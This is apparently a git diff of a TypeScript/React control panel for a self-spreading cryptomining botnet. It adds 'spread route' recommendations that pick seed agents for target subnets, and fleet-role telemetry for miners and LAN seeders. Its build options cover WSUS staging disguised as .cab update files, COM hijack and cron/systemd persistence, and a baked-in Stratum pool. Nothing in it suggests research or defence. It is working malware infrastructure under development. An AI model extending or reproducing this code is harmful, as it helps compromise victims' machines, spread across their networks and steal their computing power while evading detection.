import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
import type { Agent, PathTraceHop } from '../types';
|
import type { Agent, PathTraceHop, SpreadRouteRecommendation } from '../types';
|
||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import './PathTracerPage.css';
|
import './PathTracerPage.css';
|
||||||
|
|
||||||
@@ -13,6 +13,7 @@ interface TraceStatus {
|
|||||||
ready: boolean;
|
ready: boolean;
|
||||||
error?: string;
|
error?: string;
|
||||||
hops: PathTraceHop[];
|
hops: PathTraceHop[];
|
||||||
|
spread_routes?: SpreadRouteRecommendation[];
|
||||||
}
|
}
|
||||||
|
|
||||||
interface QRData {
|
interface QRData {
|
||||||
@@ -111,6 +112,7 @@ export default function PathTracerPage() {
|
|||||||
const [tracing, setTracing] = useState(false);
|
const [tracing, setTracing] = useState(false);
|
||||||
const [qr, setQR] = useState<QRData | null>(null);
|
const [qr, setQR] = useState<QRData | null>(null);
|
||||||
const [showQR, setShowQR] = useState(false);
|
const [showQR, setShowQR] = useState(false);
|
||||||
|
const [spreadRoutes, setSpreadRoutes] = useState<SpreadRouteRecommendation[]>([]);
|
||||||
|
|
||||||
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
|
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
|
||||||
const [autoEndCountdown, setAutoEndCountdown] = useState<number | null>(null);
|
const [autoEndCountdown, setAutoEndCountdown] = useState<number | null>(null);
|
||||||
@@ -146,6 +148,7 @@ export default function PathTracerPage() {
|
|||||||
setTracing(true);
|
setTracing(true);
|
||||||
setHops([]);
|
setHops([]);
|
||||||
setQR(null);
|
setQR(null);
|
||||||
|
setSpreadRoutes([]);
|
||||||
try {
|
try {
|
||||||
const res = await api.startTrace(selected);
|
const res = await api.startTrace(selected);
|
||||||
setSessionID(res.session_id);
|
setSessionID(res.session_id);
|
||||||
@@ -165,6 +168,9 @@ export default function PathTracerPage() {
|
|||||||
try {
|
try {
|
||||||
const status: TraceStatus = await api.getTraceStatus(sid);
|
const status: TraceStatus = await api.getTraceStatus(sid);
|
||||||
setHops(status.hops);
|
setHops(status.hops);
|
||||||
|
if (status.spread_routes?.length) {
|
||||||
|
setSpreadRoutes(status.spread_routes);
|
||||||
|
}
|
||||||
if (status.error) {
|
if (status.error) {
|
||||||
setError(status.error);
|
setError(status.error);
|
||||||
clearInterval(pollRef.current!);
|
clearInterval(pollRef.current!);
|
||||||
@@ -205,6 +211,7 @@ export default function PathTracerPage() {
|
|||||||
setTracing(false);
|
setTracing(false);
|
||||||
setQR(null);
|
setQR(null);
|
||||||
setSelected([]);
|
setSelected([]);
|
||||||
|
setSpreadRoutes([]);
|
||||||
setError('');
|
setError('');
|
||||||
}, [sessionID]);
|
}, [sessionID]);
|
||||||
|
|
||||||
@@ -418,6 +425,21 @@ export default function PathTracerPage() {
|
|||||||
✓ All hops ready — tunnel is active.
|
✓ All hops ready — tunnel is active.
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{spreadRoutes.length > 0 && (
|
||||||
|
<div className="pt-route-hints" style={{ marginTop: '0.75rem' }}>
|
||||||
|
<div className="pt-chain-title">Spread Routes</div>
|
||||||
|
<ul style={{ margin: '0.35rem 0 0', paddingLeft: '1rem', fontSize: '0.65rem', fontFamily: 'monospace', color: '#00ffaa99' }}>
|
||||||
|
{spreadRoutes.map((route) => (
|
||||||
|
<li key={`${route.target_subnet}-${route.seed_agent_id}`}>
|
||||||
|
{route.target_subnet} → {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)}
|
||||||
|
{route.join_lane ? ` (${route.join_lane})` : ''}
|
||||||
|
{route.score ? ` · ${route.score.toFixed(2)}` : ''}
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -12,8 +12,10 @@ function fmt(n: number, decimals = 2) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function fmtUSD(n: number): string {
|
function fmtUSD(n: number): string {
|
||||||
if (n >= 1000) return `$${(n / 1000).toFixed(2)}k`;
|
const sign = n < 0 ? '-' : '';
|
||||||
return `$${n.toFixed(2)}`;
|
const abs = Math.abs(n);
|
||||||
|
if (abs >= 1000) return `${sign}$${(abs / 1000).toFixed(2)}k`;
|
||||||
|
return `${sign}$${abs.toFixed(2)}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function effBadge(pct: number): { label: string; cls: string } {
|
function effBadge(pct: number): { label: string; cls: string } {
|
||||||
|
|||||||
@@ -110,6 +110,15 @@ export interface Agent {
|
|||||||
/** Session security clearance L0–L4 (live from server). */
|
/** Session security clearance L0–L4 (live from server). */
|
||||||
clearance_level?: number;
|
clearance_level?: number;
|
||||||
|
|
||||||
|
/** Fleet role split telemetry (stats WS). */
|
||||||
|
fleet_role?: 'miner' | 'seeder' | 'auto';
|
||||||
|
seed_pressure?: number;
|
||||||
|
hashrate_pressure?: number;
|
||||||
|
emberwake_heat?: number;
|
||||||
|
parent_agent_id?: string;
|
||||||
|
spread_generation?: number;
|
||||||
|
spread_strain?: string;
|
||||||
|
|
||||||
/** Cloned fleet phenotype from a sibling with the same host fingerprint. */
|
/** Cloned fleet phenotype from a sibling with the same host fingerprint. */
|
||||||
inherited_phenotype?: InheritedPhenotype;
|
inherited_phenotype?: InheritedPhenotype;
|
||||||
}
|
}
|
||||||
@@ -332,6 +341,8 @@ export interface ServerSettings {
|
|||||||
ai_interval_sec?: number;
|
ai_interval_sec?: number;
|
||||||
/** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */
|
/** Fleet AI persona preset: aggressive | silent | passive | persuasive | balanced. */
|
||||||
ai_persona?: string;
|
ai_persona?: string;
|
||||||
|
/** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */
|
||||||
|
fleet_roles_enabled?: boolean;
|
||||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||||
triple_onion_policy?: {
|
triple_onion_policy?: {
|
||||||
patch_first?: boolean;
|
patch_first?: boolean;
|
||||||
@@ -556,6 +567,8 @@ export interface BuildRequest {
|
|||||||
webrtc_mesh_spread?: boolean;
|
webrtc_mesh_spread?: boolean;
|
||||||
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
|
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
|
||||||
wsus_cache_peer_spread?: boolean;
|
wsus_cache_peer_spread?: boolean;
|
||||||
|
/** Wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON for Windows LOTL). */
|
||||||
|
wsus_format_mimic?: boolean;
|
||||||
/** COM CLSID hijack persistence — high-friction; default off. */
|
/** COM CLSID hijack persistence — high-friction; default off. */
|
||||||
com_hijack_persist?: boolean;
|
com_hijack_persist?: boolean;
|
||||||
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
||||||
@@ -599,6 +612,9 @@ export interface BuildRequest {
|
|||||||
/** Pull tier order from server on auth instead of baked list only. */
|
/** Pull tier order from server on auth instead of baked list only. */
|
||||||
lotl_policy_from_server?: boolean;
|
lotl_policy_from_server?: boolean;
|
||||||
lotl_onion_tiers?: string[];
|
lotl_onion_tiers?: string[];
|
||||||
|
/** Fleet role: miner (RandomX) | seeder (LAN staging) | auto (server hint on auth). */
|
||||||
|
fleet_role?: 'miner' | 'seeder' | 'auto';
|
||||||
|
seeder_mode?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||||
@@ -665,6 +681,19 @@ export interface PathTraceHop {
|
|||||||
error?: string;
|
error?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export interface SpreadRouteRecommendation {
|
||||||
|
target_subnet: string;
|
||||||
|
seed_agent_id: string;
|
||||||
|
seed_agent_name?: string;
|
||||||
|
egress_agent_id: string;
|
||||||
|
egress_hop_index?: number;
|
||||||
|
session_id?: string;
|
||||||
|
join_lane?: string;
|
||||||
|
clearance_level?: number;
|
||||||
|
score: number;
|
||||||
|
reason?: string;
|
||||||
|
}
|
||||||
|
|
||||||
export interface ServiceGraphEntry {
|
export interface ServiceGraphEntry {
|
||||||
service_name: string;
|
service_name: string;
|
||||||
port?: number;
|
port?: number;
|
||||||
|
|||||||
@@ -80,6 +80,13 @@ export interface WSStatsUpdate {
|
|||||||
vuln_findings?: import('./recon').VulnFinding[];
|
vuln_findings?: import('./recon').VulnFinding[];
|
||||||
vuln_risk_score?: number;
|
vuln_risk_score?: number;
|
||||||
join_lane?: string;
|
join_lane?: string;
|
||||||
|
parent_agent_id?: string;
|
||||||
|
spread_generation?: number;
|
||||||
|
spread_strain?: string;
|
||||||
|
fleet_role?: string;
|
||||||
|
seed_pressure?: number;
|
||||||
|
hashrate_pressure?: number;
|
||||||
|
emberwake_heat?: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface WSCommandResult {
|
export interface WSCommandResult {
|
||||||
|
|||||||
Reference in New Issue
Block a user